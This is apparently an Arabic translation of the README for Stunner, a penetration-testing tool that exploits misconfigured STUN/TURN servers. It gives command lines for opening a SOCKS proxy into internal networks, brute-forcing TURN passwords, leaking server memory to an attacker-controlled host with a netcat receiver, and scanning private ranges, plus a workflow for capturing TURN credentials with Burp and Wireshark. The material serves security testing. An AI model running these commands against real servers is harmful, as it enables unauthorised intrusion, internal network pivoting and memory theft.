
اختبر واستغل خوادم STUN/TURN لاستغلال التكوينات الخاطئة، مما يتيح التنقل داخل الشبكة الداخلية عبر وكيل SOCKS، وهجمات تسرب الذاكرة، ومسح المنافذ الداخلية.
Stunner هي أداة لاختبار واستغلال خوادم STUN و TURN و TURN عبر TCP. TURN هو بروتوكول يستخدم بشكل أساسي في مؤتمرات الفيديو والدردشات الصوتية (WebRTC).
إذا وجدت خادمًا تم تكوينه بشكل خاطئ، يمكنك استخدام هذه الأداة لفتح وكيل socks محلي يقوم بترحيل كل حركة المرور عبر بروتوكول TURN إلى الشبكة الداخلية خلف الخادم.
لقد طورت هذه الأداة أثناء اختبار Cisco Expressway مما أدى إلى بعض الثغرات: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/
للحصول على اسم المستخدم وكلمة المرور المطلوبين، تحتاج إلى جلبهما باستخدام طريقة خارج النطاق مثل التقاط طلب Connect من متصفح ويب باستخدام Burp. لقد أضفت مثال سير العمل في أسفل ملف readme حول كيفية اختبار مثل هذا الخادم.
هذا العمل مرخص بموجب رخصة المشاع الإبداعي نسب المصنف - غير تجاري - المشاركة بالمثل 4.0 الدولية. لعرض نسخة من هذه الرخصة، قم بزيارة http://creativecommons.org/licenses/by-nc-sa/4.0/ أو أرسل رسالة إلى Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
STUN: RFC 5389
TURN: RFC 5766
TURN for TCP: RFC 6062
TURN Extension for IPv6: RFC 6156
هذا الأمر سيطبع بعض المعلومات حول خادم stun أو turn مثل البروتوكولات المدعومة والسمات مثل البرنامج المستخدم.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
./stunner info -s x.x.x.x:443
يحاول هذا الأمر عدة نطاقات خاصة ومقيدة لمعرفة ما إذا كان خادم TURN مهيأً للسماح بالاتصالات بعناوين IP المحددة. إذا لم يكن نطاق معين ممنوعًا، يمكنك تعداد هذا النطاق أكثر باستخدام الأوامر الأخرى المقدمة. إذا كان عنوان IP قابلًا للوصول، فهذا يعني أن خادم TURN سيوصل حركة المرور إلى عنوان IP هذا.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
اتصال TURN قائم على TCP (اتصال منك إلى خادم TURN):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
اتصال TURN قائم على UDP (اتصال منك إلى خادم TURN):
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
هذا أحد أكثر الأوامر فائدة لخوادم TURN التي تدعم اتصالات TCP بالخوادم الخلفية. سيطلق خادم socks5 محلي بدون مصادقة وسيرحل كل حركة مرور TCP عبر بروتوكول TURN (UDP عبر SOCKS غير مدعوم حاليًا). إذا كان الخادم تم تكوينه بشكل خاطئ، فسيوصل حركة المرور إلى العناوين الداخلية، لذلك يمكن استخدامه للوصول إلى الأنظمة الداخلية وإساءة استخدام الخادم كوكيل إلى الشبكة الداخلية. إذا اخترت أيضًا إجراء استعلامات DNS عبر socks، فسيتم حلها باستخدام خادم الأسماء المحلي لديك، لذا من الأفضل العمل مع عناوين IPv4 و IPv6 الخاصة. يرجى ملاحظة أن هذه الوحدة يمكنها فقط ترحيل حركة مرور TCP.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
./stunner socks -s x.x.x.x:3478 -u username -p password -x
بعد تشغيل الوكيل، افتح متصفحك، ووجه الوكيل في إعداداتك إلى socks5 بعنوان IP 127.0.0.1:1080 (تأكد من عدم تعيين خيار تجاوز العنوان المحلي لأننا نريد الوصول إلى العناوين المحلية البعيدة) واستدعِ عنوان IP الذي تختاره في المتصفح.
مثال: https://127.0.0.1, https://127.0.0.1:8443 أو https://[::1]:8443 (ستستدعي هذه المنافذ على خادم TURN المختبر من الواجهات المحلية).
يمكنك أيضًا تكوين proxychains لاستخدام هذا الوكيل (لكنه سيكون بطيئًا جدًا لأن كل طلب يؤدي إلى طلبات متعددة لتمكين البروكسي). فقط قم بتحرير /etc/proxychains.conf وأدخل القيمة socks5 127.0.0.1 1080 تحت ProxyList.
مثال لـ nmap عبر هذا الوكيل socks5 مع proxychains مهيأ بشكل صحيح (لاحظ أنها -sT للقيام بمزامنات TCP وإلا فلن يستخدم وكيل socks5)
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
من المرجح ألا يعطي هذا أي معلومات قابلة للاستخدام ولكنه قد يكون مفيدًا لتعداد جميع وسائل النقل المتاحة (=البروتوكولات إلى الأنظمة الداخلية) التي يدعمها الخادم. قد يُظهر هذا بعض تطبيقات البروتوكول المخصصة لكنه في الغالب سيعيد الإعدادات الافتراضية فقط.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
يحاول هذا الأمر جميع كلمات المرور من ملف معين لاسم مستخدم عبر بروتوكول TURN (UDP). يمكن أن يكون هذا مفيدًا عند تحليل pcap حيث يمكنك رؤية اسم المستخدم ولكن ليس كلمة المرور. يرجى ملاحظة أن القوة العمياء غير المتصلة بالإنترنت أسرع بكثير في هذه الحالة.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
يعمل هذا الهجوم بالطريقة التالية:
يأخذ الخادم البيانات المراد إرسالها إلى target (يجب أن يكون منفذًا عاليًا > 1024 في معظم الحالات) على شكل TLV (Type Length Value). يستغل هذا الثغرة استخدام طول كبير بقيمة قصيرة. إذا لم يتحقق الخادم من حدود TLV، فقد يرسل لك بعض الذاكرة تصل إلى length إلى target. تم تأكيد قابلية Cisco Expressway لهذه الثغرة ولكن وفقًا لـ cisco، فإنها تسرب فقط ذاكرة الجلسة الحالية.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
لاستقبال البيانات، نحتاج إلى إعداد مستقبل على خادم بعنوان IP عام. عادةً ما يتم تكوين جدران الحماية للسماح فقط بالمنافذ العالية (>1024) من خوادم TURN، لذا تأكد من استخدام منفذ عالي مثل 8080 في هذا المثال عند الاتصال بالإنترنت.
sudo nc -u -l -n -v -p 8080 | hexdump -C
ثم قم بتنفيذ العبارة التالية على جهازك مع إضافة IP العام إلى المعامل t
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
إذا نجح الأمر، يجب أن ترى كميات كبيرة من الذاكرة تتدفق، وإلا سترى رسائل قصيرة فقط.
إذا كان خادم TURN يسمح باتصالات UDP إلى أهداف داخلية، يمكن استخدام هذا الماسح لمسح جميع نطاقات IP الخاصة وإرسال طلبات SNMP و DNS إليها. نظرًا لأن هذا يفحص العديد من عناوين IP، قد يستغرق عدة أيام لإكماله، لذا استخدمه بحذر أو حدد أهدافًا أصغر عبر المعاملات. تحتاج إلى توفير سلسلة مجتمع SNMP سيتم تجربتها واسم نطاق سيتم حله على كل IP. بالنسبة لاسم النطاق، يمكنك استخدام burp collaborator على سبيل المثال.
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
نفس udp-scanner ولكنه يرسل طلبات HTTP إلى المنافذ المحددة (HTTPS غير مدعوم)
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
لنفترض أنك وجدت خدمة تستخدم WebRTC وتريد اختبارها.
الخطوة الأولى هي الحصول على البيانات المطلوبة. أقترح تشغيل Wireshark في الخلفية والانضمام إلى اجتماع عبر Burp لجمع كل حركة مرور HTTP و Websocket. بعد ذلك، ابحث في تاريخ Burp عن بعض الكلمات المفتاحية المتعلقة بـ TURN مثل 3478 و password و credential و username (تأكد أيضًا من التحقق من علامة تبويب websocket لهذه الكلمات المفتاحية). قد يكشف هذا عن خادم turn والبروتوكول (قد يكون لنقاط نهاية UDP و TCP منافذ مختلفة) وبيانات الاعتماد المستخدمة للاتصال. إذا لم تتمكن من العثور على البيانات في Burp، ابدأ بالبحث في Wireshark لتحديد حركة المرور. إذا كانت على منفذ غير قياسي (أي شيء غير 3478)، فك تشفير البروتوكول في Wireshark عبر النقر بزر الماوس الأيمن على أنه STUN. سيظهر لك هذا اسم المستخدم المستخدم للاتصال، ويمكنك استخدام هذه المعلومات للبحث في تاريخ Burp بشكل أعمق عن البيانات المطلوبة. يرجى ملاحظة أن Wireshark لا يمكنه إظهار كلمة المرور لأن كلمة المرور تُستخدم لتجزئة محتويات بعض الحزم، لذا لا يمكن عكسها.
الخطوة التالية ستكون إصدار أمر info إلى خادم turn باستخدام المنفذ والبروتوكول الصحيحين اللذين تم الحصول عليهما من Burp.
إذا نجح ذلك، فإن الخطوة التالية هي range-scan. إذا سمح ذلك بأي حركة مرور إلى الأنظمة الداخلية، يمكنك استغلال هذا أكثر ولكن كن على علم أن UDP له حالات استخدام محدودة فقط.
إذا كانت اتصالات TCP بالأنظمة الداخلية مسموحة، قم ببساطة بتشغيل أمر socks والوصول إلى عناوين IP المسموحة عبر متصفح مع تعيين وكيل socks إلى 127.0.0.1:1080. يمكنك تجربة 127.0.0.1:443 وعناوين IP أخرى للعثور على واجهات الإدارة.